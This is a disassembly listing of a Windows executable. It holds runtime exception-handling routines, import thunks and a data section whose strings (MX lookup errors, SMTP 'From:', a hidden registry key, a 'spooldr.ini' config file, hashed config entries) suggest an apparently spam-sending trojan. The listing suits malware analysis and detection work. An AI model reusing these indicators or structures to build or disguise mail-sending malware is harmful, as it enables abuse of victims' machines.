		lea	ebp, [ebx+10h]
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	eax
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_417469
		js	short loc_417474
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4174C4
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_417506
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41759A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		mov	eax, [edi+ecx*4+8]
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	eax


loc_417469:				; CODE XREF: sub_4173C0+4Ej
					; sub_4173C0+68j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_417400
; ---------------------------------------------------------------------------


loc_417474:				; CODE XREF: sub_4173C0+6Aj
		mov	eax, 0
		jmp	short loc_41749E
; ---------------------------------------------------------------------------


loc_41747B:				; CODE XREF: sub_4173C0+3Ej
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 8


loc_417482:				; CODE XREF: sub_4173C0+43j
		mov	eax, 1
		jmp	short loc_41749E
; ---------------------------------------------------------------------------


loc_417489:				; CODE XREF: sub_4173C0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_417506
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41749E:				; CODE XREF: sub_4173C0+B9j
					; sub_4173C0+C7j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4173C0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_417506
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4174C4	proc near		; CODE XREF: sub_4173C0+70p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4174DC
		push	[ebp+arg_0]
		call	sub_4177F4


loc_4174DC:				; DATA XREF: sub_4174C4+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4174C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4174E4	proc near		; DATA XREF: sub_417506+Ao
					; .text:00417577o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_417505
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_417505:				; CODE XREF: sub_4174E4+10j
		retn
sub_4174E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417506	proc near		; CODE XREF: sub_4173C0+7Dp
					; sub_4173C0+D0p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4174E4
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_417523:				; CODE XREF: sub_417506:loc_41755Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_417560
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_417560
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41755E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41759A
		call	dword ptr [ebx+esi*4+8]


loc_41755E:				; CODE XREF: sub_417506+44j
		jmp	short loc_417523
; ---------------------------------------------------------------------------


loc_417560:				; CODE XREF: sub_417506+2Aj
					; sub_417506+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_417506	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4174E4
		jnz	short locret_417590
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_417590
		mov	eax, 1

locret_417590:				; CODE XREF: .text:0041757Ej
					; .text:00417589j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_421CC4
		jmp	short loc_4175A4

; =============== S U B	R O U T	I N E =======================================



sub_41759A	proc near		; CODE XREF: sub_4173C0+8Ep
					; sub_417506+4Fp
		push	ebx
		push	ecx
		mov	ebx, offset dword_421CC4
		mov	ecx, [ebp+8]


loc_4175A4:				; CODE XREF: .text:00417598j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41759A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175B2	proc near		; CODE XREF: sub_4173C0+34p

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+8]
		test	bl, 3
		jnz	short loc_4175E0
		mov	eax, large fs:18h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		cmp	ebx, ecx
		mov	[ebp+var_4], ecx
		jb	short loc_4175E7
		cmp	ebx, [eax+4]
		jnb	short loc_4175E7


loc_4175E0:				; CODE XREF: sub_4175B2+11j
		xor	eax, eax
		jmp	loc_4177D7
; ---------------------------------------------------------------------------


loc_4175E7:				; CODE XREF: sub_4175B2+27j
					; sub_4175B2+2Cj
		push	edi
		mov	edi, [esi+0Ch]
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4175F8


loc_4175F0:				; CODE XREF: sub_4175B2+139j
					; sub_4175B2+19Cj ...
		xor	eax, eax
		inc	eax
		jmp	loc_4177D6
; ---------------------------------------------------------------------------


loc_4175F8:				; CODE XREF: sub_4175B2+3Cj
		xor	edx, edx
		mov	[ebp+arg_0], edx
		mov	eax, ebx


loc_4175FF:				; CODE XREF: sub_4175B2+6Bj
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41760E
		cmp	ecx, edx
		jnb	loc_417753


loc_41760E:				; CODE XREF: sub_4175B2+52j
		cmp	dword ptr [eax+4], 0
		jz	short loc_417617
		inc	[ebp+arg_0]


loc_417617:				; CODE XREF: sub_4175B2+60j
		inc	edx
		add	eax, 0Ch
		cmp	edx, edi
		jbe	short loc_4175FF
		cmp	[ebp+arg_0], 0
		jz	short loc_417639
		mov	eax, [esi-8]
		cmp	eax, [ebp+var_4]
		jb	loc_417753
		cmp	eax, esi
		jnb	loc_417753


loc_417639:				; CODE XREF: sub_4175B2+71j
		mov	eax, dword_421D50
		mov	edi, ebx
		and	edi, 0FFFFF000h
		xor	esi, esi
		test	eax, eax
		jle	short loc_41765E


loc_41764C:				; CODE XREF: sub_4175B2+AAj
		cmp	dword_421D58[esi*4], edi
		jz	loc_417757
		inc	esi
		cmp	esi, eax
		jl	short loc_41764C


loc_41765E:				; CODE XREF: sub_4175B2+98j
		push	1Ch
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	ds:dword_418098
		test	eax, eax
		jz	loc_4177D3
		cmp	[ebp+var_8], 1000000h
		jnz	loc_4177D3
		test	[ebp+var_C], 0CCh
		jz	short loc_4176DC
		mov	ecx, [ebp+var_1C]
		cmp	word ptr [ecx],	5A4Dh
		jnz	loc_4177D3
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	loc_4177D3
		cmp	word ptr [eax+18h], 10Bh
		jnz	loc_4177D3
		sub	ebx, ecx
		cmp	word ptr [eax+6], 0
		movzx	ecx, word ptr [eax+14h]
		lea	ecx, [ecx+eax+18h]
		jbe	loc_4177D3
		mov	eax, [ecx+0Ch]
		cmp	ebx, eax
		jb	short loc_4176DC
		mov	edx, [ecx+8]
		add	edx, eax
		cmp	ebx, edx
		jnb	short loc_4176DC
		test	byte ptr [ecx+27h], 80h
		jnz	short loc_417753


loc_4176DC:				; CODE XREF: sub_4175B2+D2j
					; sub_4175B2+119j ...
		push	1
		push	offset dword_421D98
		call	ds:dword_4180EC
		test	eax, eax
		jnz	loc_4175F0
		mov	ecx, dword_421D50
		test	ecx, ecx
		mov	edx, ecx
		jle	short loc_417710
		lea	eax, ds:421D54h[ecx*4]


loc_417704:				; CODE XREF: sub_4175B2+15Cj
		cmp	[eax], edi
		jz	short loc_417710
		dec	edx
		sub	eax, 4
		test	edx, edx
		jg	short loc_417704


loc_417710:				; CODE XREF: sub_4175B2+149j
					; sub_4175B2+154j
		test	edx, edx
		jnz	short loc_417741
		push	0Fh
		pop	ebx
		cmp	ecx, ebx
		jg	short loc_41771D
		mov	ebx, ecx


loc_41771D:				; CODE XREF: sub_4175B2+167j
		xor	edx, edx
		test	ebx, ebx
		jl	short loc_417735


loc_417723:				; CODE XREF: sub_4175B2+181j
		lea	eax, ds:421D58h[edx*4]
		mov	esi, [eax]
		inc	edx
		cmp	edx, ebx
		mov	[eax], edi
		mov	edi, esi
		jle	short loc_417723


loc_417735:				; CODE XREF: sub_4175B2+16Fj
		cmp	ecx, 10h
		jge	short loc_417741
		inc	ecx
		mov	dword_421D50, ecx


loc_417741:				; CODE XREF: sub_4175B2+160j
					; sub_4175B2+186j
		push	0
		push	offset dword_421D98
		call	ds:dword_4180EC
		jmp	loc_4175F0
; ---------------------------------------------------------------------------


loc_417753:				; CODE XREF: sub_4175B2+56j
					; sub_4175B2+79j ...
		xor	eax, eax
		jmp	short loc_4177D6
; ---------------------------------------------------------------------------


loc_417757:				; CODE XREF: sub_4175B2+A1j
		test	esi, esi
		jle	loc_4175F0
		mov	ebx, ds:dword_4180EC
		push	1
		push	offset dword_421D98
		call	ebx
		test	eax, eax
		jnz	loc_4175F0
		cmp	dword_421D58[esi*4], edi
		jz	short loc_4177AD
		mov	eax, dword_421D50
		lea	esi, [eax-1]
		test	esi, esi
		jl	short loc_41779B


loc_41778B:				; CODE XREF: sub_4175B2+1E3j
		cmp	dword_421D58[esi*4], edi
		jz	short loc_417797
		dec	esi
		jns	short loc_41778B


loc_417797:				; CODE XREF: sub_4175B2+1E0j
		test	esi, esi
		jge	short loc_4177AB


loc_41779B:				; CODE XREF: sub_4175B2+1D7j
		cmp	eax, 10h
		jge	short loc_4177A6
		inc	eax
		mov	dword_421D50, eax


loc_4177A6:				; CODE XREF: sub_4175B2+1ECj
		lea	esi, [eax-1]
		jmp	short loc_4177AD
; ---------------------------------------------------------------------------


loc_4177AB:				; CODE XREF: sub_4175B2+1E7j
		jz	short loc_4177C5


loc_4177AD:				; CODE XREF: sub_4175B2+1CBj
					; sub_4175B2+1F7j
		xor	ecx, ecx
		test	esi, esi
		jl	short loc_4177C5


loc_4177B3:				; CODE XREF: sub_4175B2+211j
		lea	eax, ds:421D58h[ecx*4]
		mov	edx, [eax]
		inc	ecx
		cmp	ecx, esi
		mov	[eax], edi
		mov	edi, edx
		jle	short loc_4177B3


loc_4177C5:				; CODE XREF: sub_4175B2:loc_4177ABj
					; sub_4175B2+1FFj
		push	0
		push	offset dword_421D98
		call	ebx
		jmp	loc_4175F0
; ---------------------------------------------------------------------------


loc_4177D3:				; CODE XREF: sub_4175B2+BBj
					; sub_4175B2+C8j ...
		or	eax, 0FFFFFFFFh


loc_4177D6:				; CODE XREF: sub_4175B2+41j
					; sub_4175B2+1A3j
		pop	edi


loc_4177D7:				; CODE XREF: sub_4175B2+30j
		pop	esi
		pop	ebx
		leave
		retn
sub_4175B2	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4177DC	proc near		; CODE XREF: sub_40D6C2+7p
		jmp	ds:dword_418194
sub_4177DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4177E2	proc near		; CODE XREF: sub_40C574+A6p
					; sub_40C627+5Ap ...
		jmp	ds:dword_41802C
sub_4177E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4177E8	proc near		; CODE XREF: sub_40C574+1Ep
					; sub_40C627+16p ...
		jmp	ds:dword_418028
sub_4177E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4177EE	proc near		; CODE XREF: sub_41651F+64p
		jmp	ds:dword_418024
sub_4177EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4177F4	proc near		; CODE XREF: sub_4174C4+13p
		jmp	ds:dword_418094
sub_4177F4	endp

; ---------------------------------------------------------------------------
		align 10h
_text		ends

; Section 2. (virtual address 00018000)
; Virtual size			: 00008D1E (  36126.)
; Section size in file		: 00008E00 (  36352.)
; Offset to raw	data for section: 00016C00
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 418000h
dword_418000	dd 20CFCh		; DATA XREF: sub_40CAE6+21r
					; sub_40CB36+Ar ...
dword_418004	dd 20CEAh		; DATA XREF: sub_40CA9E+22r
dword_418008	dd 20CDAh		; DATA XREF: sub_404D27+28r
					; sub_404D27+ADr
dword_41800C	dd 20CCAh		; DATA XREF: sub_404D27+62r
dword_418010	dd 20CBCh		; DATA XREF: sub_404D27+79r
					; sub_40CACF+Br
dword_418014	dd 20CAAh		; DATA XREF: sub_404D27+DEr
					; sub_40CB16+12r ...
dword_418018	dd 20C8Ah		; DATA XREF: sub_4032C9+16r
dword_41801C	dd 20C6Eh		; DATA XREF: sub_4032C9+2Br
		dd 0
dword_418024	dd 206F2h		; DATA XREF: sub_4177EEr
dword_418028	dd 206E4h		; DATA XREF: sub_4177E8r
dword_41802C	dd 206D0h		; DATA XREF: sub_4177E2r
		dd 0
dword_418034	dd 20BE4h		; DATA XREF: sub_415397+1Cr
dword_418038	dd 20BCAh		; DATA XREF: sub_40D0C9+Fr
					; sub_40D261+Fr
dword_41803C	dd 20BB2h		; DATA XREF: sub_40CFE7+38r
					; sub_40D1A6+39r
dword_418040	dd 20B98h		; DATA XREF: sub_40CFAE+9r
dword_418044	dd 20B8Ch		; DATA XREF: sub_40CCC5+Dr
dword_418048	dd 20B7Eh		; DATA XREF: sub_40CA55+11r
					; sub_40CCAD+11r
dword_41804C	dd 20BF0h		; DATA XREF: sub_4163EB+Br
dword_418050	dd 20B60h		; DATA XREF: sub_40CA18+Dr
					; sub_40CC7F+Dr ...
dword_418054	dd 20B52h		; DATA XREF: sub_40CA06+Br
dword_418058	dd 20B42h		; DATA XREF: sub_40C9F2+Dr
dword_41805C	dd 20B2Ah		; DATA XREF: sub_40C826+3r
dword_418060	dd 20B16h		; DATA XREF: sub_40AFDC+10r
dword_418064	dd 20B02h		; DATA XREF: sub_40A060+44r
					; sub_40B1BB+Ar
dword_418068	dd 20AE4h		; DATA XREF: sub_409E56+32r
					; sub_40C8FB+Er
dword_41806C	dd 20AC8h		; DATA XREF: sub_409E16+38r
					; sub_40C892+26r
dword_418070	dd 20AAAh		; DATA XREF: sub_409DDF+2Fr
dword_418074	dd 20A8Eh		; DATA XREF: sub_409DA5+32r
dword_418078	dd 20A74h		; DATA XREF: sub_408C6A+1Fr
dword_41807C	dd 20A64h		; DATA XREF: sub_408C6A+42r
dword_418080	dd 20A58h		; DATA XREF: sub_408B4B+25r
					; sub_40CDD6+8r
dword_418084	dd 20A46h		; DATA XREF: sub_408B4B+37r
dword_418088	dd 20A3Ah		; DATA XREF: sub_408B4B+60r
					; sub_408B4B+70r ...
dword_41808C	dd 20A2Ah		; DATA XREF: sub_408B4B+B2r
dword_418090	dd 20A1Eh		; DATA XREF: sub_408B4B+D5r
dword_418094	dd 20BFCh		; DATA XREF: sub_4177F4r
dword_418098	dd 20C08h		; DATA XREF: sub_4175B2+B3r
dword_41809C	dd 20B6Ch		; DATA XREF: sub_40CA18r sub_40CA55r ...
dword_4180A0	dd 20710h		; DATA XREF: sub_4012FC+Cr
					; sub_403389+4Br ...
dword_4180A4	dd 20720h		; DATA XREF: sub_4015F3+1Fr
					; sub_401918+C3r ...
dword_4180A8	dd 2072Eh		; DATA XREF: sub_40132C+6r
					; sub_4015F3+6r ...
dword_4180AC	dd 2073Ah		; DATA XREF: sub_40132C+1Br
					; sub_405675+94r
dword_4180B0	dd 20748h		; DATA XREF: sub_401316+8r
					; sub_4017C3+C3r ...
dword_4180B4	dd 20760h		; DATA XREF: sub_4013D5+30r
					; sub_401420+42r ...
dword_4180B8	dd 2076Ch		; DATA XREF: sub_403346+Fr
					; sub_40A0C2+14r ...
dword_4180BC	dd 20782h		; DATA XREF: sub_40174B+24r
					; sub_40177E+25r ...
dword_4180C0	dd 20792h		; DATA XREF: sub_40177E+38r
					; sub_40B3DA+38r
dword_4180C4	dd 207A2h		; DATA XREF: sub_40177E+30r
					; sub_40B3DA+30r
dword_4180C8	dd 207B6h		; DATA XREF: sub_4017C3+132r
					; sub_401C53+3Dr ...
dword_4180CC	dd 207BEh		; DATA XREF: sub_4017C3+E0r
					; sub_4017C3+F4r ...
dword_4180D0	dd 207CEh		; DATA XREF: sub_401C53+23r
					; sub_401CA6+1Cr ...
dword_4180D4	dd 207ECh		; DATA XREF: sub_4021BF+15r
					; sub_4021DE+95r ...
dword_4180D8	dd 20808h		; DATA XREF: sub_402400+C0r
					; sub_40444C+73r ...
dword_4180DC	dd 20820h		; DATA XREF: sub_401F3E+8r
					; sub_402400+14r ...
dword_4180E0	dd 20838h		; DATA XREF: sub_401F3E+21r
					; sub_402400+2Br ...
dword_4180E4	dd 20850h		; DATA XREF: sub_401C53+46r
					; sub_401CA6+27r ...
dword_4180E8	dd 20868h		; DATA XREF: sub_401ED1+60r
					; sub_4041B2+Ar ...
dword_4180EC	dd 20880h		; DATA XREF: sub_40235F+8Br
					; sub_4175B2+131r ...
dword_4180F0	dd 20896h		; DATA XREF: sub_402512+EEr
					; sub_406E37+DAr ...
dword_4180F4	dd 208B0h		; DATA XREF: sub_402624+C2r
					; sub_40DB5E+37r
dword_4180F8	dd 208BCh		; DATA XREF: sub_402FCB+24r
					; sub_4038BB+F5r
dword_4180FC	dd 208D4h		; DATA XREF: sub_40320F+64r
					; sub_4038BB+16Br
dword_418100	dd 208E0h		; DATA XREF: sub_40320F+50r
					; sub_4038BB+125r ...
dword_418104	dd 208EEh		; DATA XREF: sub_40320F+2Cr
dword_418108	dd 20904h		; DATA XREF: sub_40320F+1Fr
					; sub_409DA5+1Cr ...
dword_41810C	dd 20918h		; DATA XREF: sub_403316+Cr
dword_418110	dd 20926h		; DATA XREF: sub_403389+6Br
dword_418114	dd 20934h		; DATA XREF: sub_403389+57r
dword_418118	dd 20944h		; DATA XREF: sub_403539+16r
dword_41811C	dd 20954h		; DATA XREF: sub_4036C6+69r
					; sub_4086E0+12r ...
dword_418120	dd 20960h		; DATA XREF: sub_403854+15r
dword_418124	dd 20974h		; DATA XREF: sub_403ED0+1F4r
dword_418128	dd 20986h		; DATA XREF: sub_405074+118r
					; sub_406DF2+36r
dword_41812C	dd 209A0h		; DATA XREF: sub_407F86+2Cr
dword_418130	dd 209B8h		; DATA XREF: sub_407F86+26r
dword_418134	dd 209C8h		; DATA XREF: sub_407F86+1Cr
dword_418138	dd 209D8h		; DATA XREF: sub_408A70+6Cr
dword_41813C	dd 209EAh		; DATA XREF: sub_408A70+53r
dword_418140	dd 209FAh		; DATA XREF: sub_408A70+3Fr
dword_418144	dd 20A10h		; DATA XREF: sub_408A70+2Ar
		dd 0
dword_41814C	dd 20C34h		; DATA XREF: sub_4155DF+54r
					; sub_415F7D+94r
dword_418150	dd 20C46h		; DATA XREF: sub_40CF0C+5r
dword_418154	dd 20C54h		; DATA XREF: sub_40CF1B+5r
dword_418158	dd 20C26h		; DATA XREF: sub_40CE18+Dr
					; sub_40DB15+10r
		align 10h
dword_418160	dd 20658h		; DATA XREF: sub_4038BB+9Cr
					; sub_40675C+3Dr
dword_418164	dd 2061Ah		; DATA XREF: sub_4038BB+D1r
					; sub_4080EA+D2r
dword_418168	dd 2066Ch		; DATA XREF: sub_4038BB+58r
					; sub_406E37+10Er ...
dword_41816C	dd 2067Ch		; DATA XREF: sub_4038BB+159r
					; sub_4080EA+122r
dword_418170	dd 20690h		; DATA XREF: sub_4038BB+133r
					; sub_4080EA+E0r
dword_418174	dd 206AEh		; DATA XREF: sub_406E37+F0r
					; sub_406E37+FFr
dword_418178	dd 2062Eh		; DATA XREF: sub_4038BB+BBr
					; sub_4080EA+9Ar
dword_41817C	dd 20642h		; DATA XREF: sub_4038BB+199r
					; sub_4038BB+1A2r ...
		dd 0
dword_418184	dd 80000011h		; DATA XREF: sub_40D8A6+19r
dword_418188	dd 80000013h		; DATA XREF: sub_40D80F+13r
dword_41818C	dd 80000004h		; DATA XREF: sub_40D7BB+Dr
dword_418190	dd 80000001h		; DATA XREF: sub_40D767+Fr
dword_418194	dd 80000097h		; DATA XREF: sub_4177DCr
dword_418198	dd 8000006Fh		; DATA XREF: sub_40D66F+Ar
dword_41819C	dd 80000002h		; DATA XREF: sub_408DB8+101r
					; sub_40D7E5+Dr
dword_4181A0	dd 80000010h		; DATA XREF: sub_408D2A+Dr
					; sub_40D876+13r
dword_4181A4	dd 80000012h		; DATA XREF: sub_4080EA+17Fr
					; sub_408361+1C5r ...
dword_4181A8	dd 8000000Fh		; DATA XREF: sub_40B016+D5r
dword_4181AC	dd 8000000Ch		; DATA XREF: sub_40675C+1Fr
					; sub_40906B+83r
dword_4181B0	dd 8000000Eh		; DATA XREF: sub_4043C7+19r
					; sub_405675+ECr ...
dword_4181B4	dd 80000073h		; DATA XREF: sub_403389+86r
dword_4181B8	dd 80000006h		; DATA XREF: sub_40D94F+Fr
dword_4181BC	dd 80000005h		; DATA XREF: sub_40D97B+Fr
dword_4181C0	dd 80000016h		; DATA XREF: sub_40D9D5+Br
dword_4181C4	dd 80000034h		; DATA XREF: sub_40DA32+2Cr
dword_4181C8	dd 8000000Dh		; DATA XREF: sub_40D793+Br
dword_4181CC	dd 8000000Bh		; DATA XREF: sub_4017C3+3Br
					; sub_405675+E5r ...
dword_4181D0	dd 80000017h		; DATA XREF: sub_4017C3+7Br
					; sub_408DB8+3Ar ...
dword_4181D4	dd 80000015h		; DATA XREF: sub_4017C3+A4r
					; sub_40D91B+17r
dword_4181D8	dd 80000014h		; DATA XREF: sub_401621+96r
					; sub_4016C3+7Cr ...
dword_4181DC	dd 20600h		; DATA XREF: sub_401351+16r
dword_4181E0	dd 205F4h		; DATA XREF: sub_401351+38r
					; sub_408DB8+93r ...
dword_4181E4	dd 80000003h		; DATA XREF: sub_401351+72r
					; sub_4017C3+148r ...
dword_4181E8	dd 80000009h		; DATA XREF: sub_4011ED+7r
					; sub_401592+25r ...
dword_4181EC	dd 80000008h		; DATA XREF: sub_401219+Cr
					; sub_40DA80+1Fr
		dd 2 dup(0)
aBadAllocation	db 'bad allocation',0   ; DATA XREF: .data:004216C6o
					; .data:004217FEo ...
		align 4
asc_418208:				; DATA XREF: sub_401B3F+37o
					; sub_401B9A+5Ao
		dw 3Eh
		unicode	0, <>,0
asc_41820C:				; DATA XREF: sub_401B3F+22o
					; sub_401B9A+28o
		dw 3Ch
		unicode	0, <>,0
asc_418210:				; DATA XREF: sub_4022BE+Do
					; sub_405440+167o ...
		dw 0Ah
		unicode	0, <>,0
asc_418214	db '^%',0               ; DATA XREF: sub_401FF5+59o
					; sub_402624+17Eo
		align 4
aT		db '%^T',0              ; DATA XREF: sub_401FF5+3Fo
					; sub_402624+183o
off_41821C	dd offset sub_409438	; DATA XREF: sub_4021BF+6o
					; sub_40951B+9o
off_418220	dd offset sub_40CC7C	; DATA XREF: sub_4021DE+7o
					; sub_402400+9o
aYahoo_com	db 'yahoo.com',0        ; DATA XREF: sub_402624+41Eo
		align 10h
aCanTGetMx	db 'Can',27h,'t get mx',0 ; DATA XREF: sub_402624:loc_402947o
		align 10h
aTcpConnectionI	db 'TCP connection is failed',0 ; DATA XREF: sub_402624+2BFo
		align 4
a@:					; DATA XREF: sub_402624+240o
					; sub_40906B+73o
		unicode	0, <@>,0
aFrom		db 'From: ',0           ; DATA XREF: sub_402624+1ACo
		align 4
asc_418268:				; DATA XREF: sub_402624+86o
		unicode	0, <;>,0
a89a		db '89a',0              ; DATA XREF: sub_402DEC+6o
aSoftwareMicros	db 'Software\Microsoft\Windows\ITStorage\Finders',0
		align 10h
aCounter	db 'Counter',0
aId		db 'ID',0
		align 4
aConfig		db 'config',0           ; DATA XREF: sub_402FCB:loc_403043o
		align 4
aSpooldr_ini	db '\spooldr.ini',0     ; DATA XREF: sub_402FCB+2Ao
		align 4
aFf9b63e22ab088	db 'FF9B63E22AB088EE458F1586A34CFA06=5102D18814B200',0
					; DATA XREF: .data:004216BEo
aFdd38b10a85983	db 'FDD38B10A859838455DF59392B3C3F71=51398792233800',0
					; DATA XREF: .data:004216BAo
aFd6a5500dc3ed6	db 'FD6A5500DC3ED6A4E8398E3580A974FA=48249272325D00',0
					; DATA XREF: .data:004216B6o
aF63edccbdcaf1a	db 'F63EDCCBDCAF1A1E79DEC78C8666B552=58BF0F50468500',0
					; DATA XREF: .data:004216B2o
aF63c699d886487	db 'F63C699D886487A8950E570D294EDFE1=9A2542D11EBF00',0
					; DATA XREF: .data:004216AEo
aF4842dae3b27f1	db 'F4842DAE3B27F129678E1847263CAB26=54506DCB17E801',0
					; DATA XREF: .data:004216AAo
aF3032da7f7c1e9	db 'F3032DA7F7C1E94A4FE9D59838C67D40=51F81AD24EA800',0
					; DATA XREF: .data:004216A6o
aF0222ed187b89a	db 'F0222ED187B89A45427F9A8312B646CE=47720006DF7200',0
					; DATA XREF: .data:004216A2o
aEfc52cb260c525	db 'EFC52CB260C525686B94C69A7AEFE8D9=D5701466340F00',0
					; DATA XREF: .data:0042169Eo
aEdcc5d8c0a6119	db 'EDCC5D8C0A61192AF490034A3FEE6CC5=47859A61297400',0
					; DATA XREF: .data:0042169Ao
aEce5265115f6ed	db 'ECE5265115F6ED93B18CBDCFB8D6726A=D9A0D0C9BD6A00',0
					; DATA XREF: .data:00421696o
aEcc7022cdfea11	db 'ECC7022CDFEA11C6FB0F3849B8B89EFA=D9083D440ECD00',0
					; DATA XREF: .data:00421692o
aEc9655ad1633bc	db 'EC9655AD1633BCF292DEA3C8AA0424AB=9A2542771EBF00',0
					; DATA XREF: .data:0042168Eo
aEc7668f77fb7b2	db 'EC7668F77FB7B21921A0EA296001E8A9=55D628A9092A00',0
					; DATA XREF: .data:0042168Ao
aEc2a6b3fb6dd91	db 'EC2A6B3FB6DD91ACA9F6AF5ACA529BD2=9A25428C1EBF00',0
					; DATA XREF: .data:00421686o
aEc2a6b3f7394f2	db 'EC2A6B3F7394F206EFBAF7D81A939E8A=9A2542A31EBF00',0
					; DATA XREF: .data:00421682o
aEafb6e5161b90f	db 'EAFB6E5161B90F231562FCDAAF91BBFB=51CB929E123500',0
					; DATA XREF: .data:0042167Eo
aEa5a9e8a505184	db 'EA5A9E8A505184B578217ECE5936544B=9729CADB2A3B00',0
					; DATA XREF: .data:0042167Ao
aE9fa780a2994eb	db 'E9FA780A2994EB62416C8129B9F9EC6F=570ACA3C7BEE00',0
					; DATA XREF: .data:00421676o
aE7c3aa73cd0a25	db 'E7C3AA73CD0A254E96E34049FBEFA8B1=43AAD668210D00',0
					; DATA XREF: .data:00421672o
aE556b979239296	db 'E556B97923929644771748B42FD26392=554CFC8A28F700',0
					; DATA XREF: .data:0042166Eo
aE158e029ac911a	db 'E158E029AC911A8DE5B5881D10945BBF=5410EF6E306A00',0
					; DATA XREF: .data:0042166Ao
aDfa8a5fd169cb0	db 'DFA8A5FD169CB024698812DFC82D0BC3=5237DCD4D5A700',0
					; DATA XREF: .data:00421666o
aDebf8cd5eadb78	db 'DEBF8CD5EADB7851B6B7248D42539089=5243A81C0BE300',0
					; DATA XREF: .data:00421662o
aDc6f745290beba	db 'DC6F745290BEBAA748D3F00DB4F22FCF=5576295D1A1700',0
					; DATA XREF: .data:0042165Eo
aDbeca12575d940	db 'DBECA12575D94025189E76F00A531A48=5361B595405000',0
					; DATA XREF: .data:0042165Ao
aD9d364a2c8a83e	db 'D9D364A2C8A83E4D597980AB19EE4143=5092420E1D4700',0
					; DATA XREF: .data:00421656o
aD6e46bf02e64d9	db 'D6E46BF02E64D940E37EECCC982584A8=C952381B268200',0
					; DATA XREF: .data:00421652o
aD6c0099f2169f3	db 'D6C0099F2169F32CE55ED21924FE6057=5283D98A7CAF00',0
					; DATA XREF: .data:0042164Eo
aD6934d7f3db32f	db 'D6934D7F3DB32F5581D15797CDFEE3FB=557E8CB228C000',0
					; DATA XREF: .data:0042164Ao
aD66704abef6a50	db 'D66704ABEF6A500D397E855BC2C2574D=51FB820C250800',0
